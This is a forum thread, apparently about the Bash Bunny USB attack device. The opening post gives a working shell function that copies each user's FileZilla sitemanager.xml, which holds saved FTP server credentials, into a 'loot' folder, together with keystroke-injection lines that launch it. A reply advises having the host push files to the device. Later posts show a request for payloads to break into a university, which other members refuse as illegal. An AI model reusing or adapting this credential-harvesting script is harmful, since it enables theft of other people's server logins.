Jump to content

path to the target computer


quentin.lamamy
 Share

Recommended Posts

Hi,

I have a sh script that exfiltrate files from the computer :

function filezilla.exfiltration(){
     mkdir -p $1
     echo "Run path : $1" >> $1/run.txt 
     for d in /Users/*; do
          echo "User : $d" >> $1/run.txt
          if [ -d "$d" ]; then
               if [ -f "$d/.filezilla/sitemanager.xml" ]; then
                    echo "sitemanager.xml detected" >> $1/run.txt
                    cp $d/.filezilla/sitemanager.xml $1/$(basename $d)_sitemanager.xml
               else
                    echo "no sitemanager.xml detected" >> $1/run.txt      
               fi
          fi
     done
}

The argument is a loot folder

When this script run in the terminal all works because /Users/ folder exist on the computer

But when the BB call this function /Users refer to the BB filesystem. Is there a path i can use to refer to the computer filesystem  and avoid using this script

Q STRING source /Volumes/Bashbunny/payloads/$SWITCH_POSITION/exfiltration.sh
Q ENTER
Q STRING filezilla.exfiltration /Volumes/Bashbunny/payloads/$SWITCH_POSITION/
Q ENTER

Thks

Link to comment
Share on other sites

  • 4 months later...

As far as I know there's no way of giving the Bunny direct access to the PC's files as if the PC was the USB and the Bunny the host.

The Bunny can run a program on the host machine and get it to access files from the Bunny, though. Lots of payloads do this (mainly PowerShell-based). So getting the host to push files to the Bunny is far easier than the Bunny pulling files from the host.

Link to comment
Share on other sites

3 hours ago, SUiCiDE said:

can u help with some payloads?

i need get access in my university.

thanks...

did anybody else get this same message from this guy?

  • Upvote 1
Link to comment
Share on other sites

5 hours ago, b0N3z said:

did anybody else get this same message from this guy?

Yeah he also arrived on IRC asking the same.

I suggested he removed his comment as hacking his uni is most likely illegal and no one was likely going to help him on a public forum.

Edited by Just_a_User
Link to comment
Share on other sites

21 hours ago, SUiCiDE said:

can u help with some payloads?

i need get access in my university.

thanks...

What you are asking is probably illegal where you are so please don't ask for help with it. Any more questions like this and you'll be banned.

  • Like 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...